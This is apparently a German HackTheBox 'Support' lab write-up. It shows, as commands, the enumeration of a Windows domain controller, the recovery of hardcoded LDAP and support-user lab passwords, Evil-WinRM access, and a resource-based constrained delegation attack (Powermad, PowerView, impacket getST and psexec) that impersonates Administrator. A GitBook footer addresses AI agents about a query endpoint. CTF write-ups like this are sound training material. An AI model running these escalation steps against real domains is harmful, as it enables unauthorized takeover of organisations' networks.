> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/windows-easy/support-hackthebox-writeup.md). # Support HackTheBox Ausarbeitung {% embed url="" %} {% hint style="warning" %} **Fähigkeiten:** * SMB-Enumerierung * EXE-Binäranalyse * Debugging mit DNSpy * Setzen von Haltepunkten und Ermitteln eines LDAP-Passworts im Klartext (DNSpy) * Kerberos-Benutzeraufzählung (kerbrute) * LDAP-Aufzählung (ldapsearch) * Informationsleck * Missbrauch der Gruppe „Remote Management Users“ (Evil-WinRM) * SharpHound + BloodHound-Aufzählung * Missbrauch gemeinsamer Support-Konten (GenericAll) (RBCD-Angriff) (Resource-Based Constrained Delegation) * Resource-Based-Constrained-Delegation-Angriff - Erstellen eines Computerkontos (powermad.ps1) * Resource-Based-Constrained-Delegation-Angriff - PowerView\.ps1 * Resource-Based-Constrained-Delegation-Angriff - Das impersonierte Service-Ticket abrufen (getST.py) * Verwendung des Tickets, um Administratorzugriff zu erlangen (Privilegieneskalation) {% endhint %} ## Aufklärung **Einrichtung des Arbeitsbereichs:** Richten Sie den Arbeitsbereich ein, indem Sie drei Ordner erstellen, um wichtige Inhalte, Exploits und Nmap-Aufklärungsergebnisse zu speichern.

#### **VPN-Verbindung prüfen** Prüfen Sie die VPN-Verbindung, um eine stabile Kommunikation mit dem Zielsystem sicherzustellen.

**Offene-Ports-Ermittlung mit Nmap:** ```bash nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.174 -oG allPorts ```

**Versionsscan der Ports mit Nmap:** Mit Nmap einen Versionsscan der Ports durchführen und Informationen in der Datei "targeted" speichern: ```bash nmap -sCV -p88,135,139,389,445,464,593,636,3268,3269,5985,9389,49664,49667,49679,49757,53952 10.10.11.174 -oN targeted ```

## **DC-Aufzählung:** ### SMB-Liste: Verwendung von CrackMapExec für die SMB-Aufzählung. ```bash crackmapexec smb 10.10.11.174 ```

Um Domänennamen über DNS in IP-Adressen aufzulösen, wird der mit seiner IP-Adresse verknüpfte Domänenname in das `/etc/hosts` Datei

### **Kerberos-Liste:** Verwendung von Kerbrute, um Benutzer aufzuzählen. ```bash kerbrute userenum -d support.htb --dc 10.10.11.174 /usr/share/SecLists/Usernames/xato-net-10-million-usernames.txt ```

### **Erkundung von Netzwerkfreigaben:** Suche nach freigegebenen Ordnern im Netzwerk. ```bash smbmap -H 10.10.11.174 -u none ```

```bash smbclient //10.10.11.174/support-tools -N ```

Wir entdecken eine interessante ZIP-Datei namens „UserInfo-exe-zip“. Um fortzufahren, verwenden wir den `get` Befehl, um sie auf unseren Rechner herunterzuladen.

### /*/* Analyse von Windows-Binärdateien:/*/* Wir werden eine Windows-EXE auf einem mit Windows ausgestatteten Rechner ausführen. Dazu müssen wir: 1. ZIP-Archiv übertragen

2. Migration der VPN-Konfiguration 3. `/etc/hosts` Konfiguration

Um die Binärdatei auszuführen und alle gültigen Benutzer zu identifizieren, geben Sie einfach den folgenden Befehl ein ```bash ./UserInfo.exe find -first * -last * ``` #### Diese Binärdatei ermöglicht es uns, Benutzer aufzulisten.

#### Analyse der mit DNSpy heruntergeladenen Windows-Binärdatei. {% embed url="" %}

### **Extraktion eines Klartextpassworts:** Verwendung von DNSpy, um ein Klartextpasswort aus einer Windows-Binärdatei zu extrahieren.

Wir werden das Programm ausführen, aber wir werden nur in dem Abschnitt anhalten, in dem der Text im Klartext vorliegt.

Hier ist das LDAP-Passwort:

### **Überprüfung des LDAP-Passworts:** Überprüfung des mit CrackMapExec extrahierten Passworts. ```bash crackmapexec smb 10.10.11.174 -u 'ldap' -p 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' ```

### Domänenliste: ```bash rpcclient -U 'ldap%nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' 10.10.11.174 ``` #### Domänenbenutzer ``` enumdomusers ```

#### Domänengruppen ```bash enumdomgroups ```

#### Benutzerbeschreibungen: ```bash querydispinfo ```

#### Tragen Sie alle gültigen Domänenbenutzer in eine Datei ein. ```bash rpcclient -U 'ldap%nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' 10.10.11.174 -c 'enumdomusers' | grep -oP '/[.*?/]' | grep -v 0x |tr -d '[]' ```

#### Wir prüfen nun, ob das LDAP-Passwort für einen der folgenden Benutzer wiederverwendet wird: ```bash crackmapexec smb 10.10.11.174 -u users -p 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' --continue-on-success ``` Allerdings funktioniert das nicht.

### **LDAP-Auflistung:** {% embed url="" %} #### Verwendung der LDAP-Suche, um Informationen aufzulisten. ```bash ldapsearch -x -H ldap://10.10.11.174 -D 'support.htb/ldap' -w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' -b "DC=<1_SUBDOMAIN>,DC=" ``` #### Es sind viele Daten verfügbar; durch Anwenden eines Filters auf die Song-Informationen wird jedoch ein Passwort für den Benutzer support entdeckt. ```bash ldapsearch -x -H ldap://10.10.11.174 -D 'ldap@support.htb' -w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' -b "DC=support,DC=htb" | grep -i "info:" -B 20 ```

## **Ausnutzung:** #### Verwenden Sie CrackMapExec, um das dem support-Konto zugeordnete Passwort zu bestätigen. ```bash crackmapexec smb 10.10.11.174 -u 'support' -p 'Ironside47pleasure40Watchful' ``` Dieser Benutzer ist Teil der Gruppe der Remote-Management-Benutzer, wodurch wir uns über Windows Remote Management (WinRM) verbinden können. ```bash evil-winrm -i 10.10.11.174 -u 'support' -p 'Ironside47pleasure40Watchful' ``` ### **Verwendung von Evil-WinRM:** Verbinden Sie sich mit dem Zielsystem über Evil-WinRM mithilfe der ermittelten Informationen.

## Privilegieneskalation ### **Überprüfung der aktuellen Berechtigungen:**
Unter Verwendung der `whoami /priv` Befehl zum Überprüfen der Benutzerrechte, ohne Erfolg.

### **Analyse der Gruppenmitgliedschaften:** Unter Verwendung der `net user support` Befehl, um die Gruppen zu prüfen, denen der Benutzer angehört. Entdeckung einer offenbar seltenen Gruppe, „shared support accounts“.

### **Verwendung von BloodHound zur Privilegienanalyse:** #### Verwendung des BloodHound-Tools, um Zugriffsbeziehungen abzubilden. {% embed url="" %}

### **Ausführung von SharpHound zur weiteren Analyse:** Verwendung von SharpHound, einem ergänzenden Tool zu BloodHound, um zusätzliche Daten zu Zugriffsbeziehungen zu sammeln. ```powershell ./SharpHound.exe -c All ```

## Schwachstelle: Resource-Based-Constrained-Delegation-Angriff: {% embed url="" %} ### **Identifizierung der Schwachstelle: Resource-Based-Constrained-Delegation-Angriff:**

#### Einsatz des Powermad-Skripts zum Erstellen eines Computerkontos. {% embed url="" %} ```powershell upload Powemad.ps1 Import-Module ./Powermad.ps1 New-MachineAccount -MachineAccount SERVICEA -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose ``` #### Verwendung von PowerView, um die Erstellung des Computerkontos zu überprüfen. {% embed url="" %} ```powershell upload PowerView.ps1 Import-Module ./PowerView.ps1 ```

#### Definition der Berechtigungen für das Computerkonto mithilfe von PowerShell-Befehlen. ```powershell $ComputerSid = Get-DomainComputer SERVICEA -Properties objectsid | Select -Expand objectsid $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$ComputerSid)" $SDBytes = New-Object byte[] ($SD.BinaryLength) $SD.GetBinaryForm($SDBytes, 0) Get-DomainComputer dc | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} ``` #### Mit diesem Befehl prüfen wir, ob der gesamte Vorgang „Get-DomainComputer dc“ mithilfe der Eigenschaft „msds-allowedtoactonbehalfofotheridentity“ funktioniert.

### **Ausnutzung der Schwachstelle** #### Verwendung des Impacket-Tools, um den `getST` Befehl auszuführen, um ein TGT-Ticket zu erhalten, das den Benutzer Administrator imitiert. ```bash impacket-getST -spn cifs/dc.support.htb -impersonate Administrator -dc-ip 10.10.11.174 support.htb/SERVICEA$:123456 ```

#### Konfigurieren Sie die Kerberos-Umgebung des Administrators, indem Sie `KRB5CCNAME`, und verbinden Sie sich dann mit dem Zielsystem mithilfe von Impacket `psexec`.
```bash export KRB5CCNAME=Administrator.ccache impacket-psexec -k dc.support.htb ```

### Finale Flagge :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/windows-easy/support-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.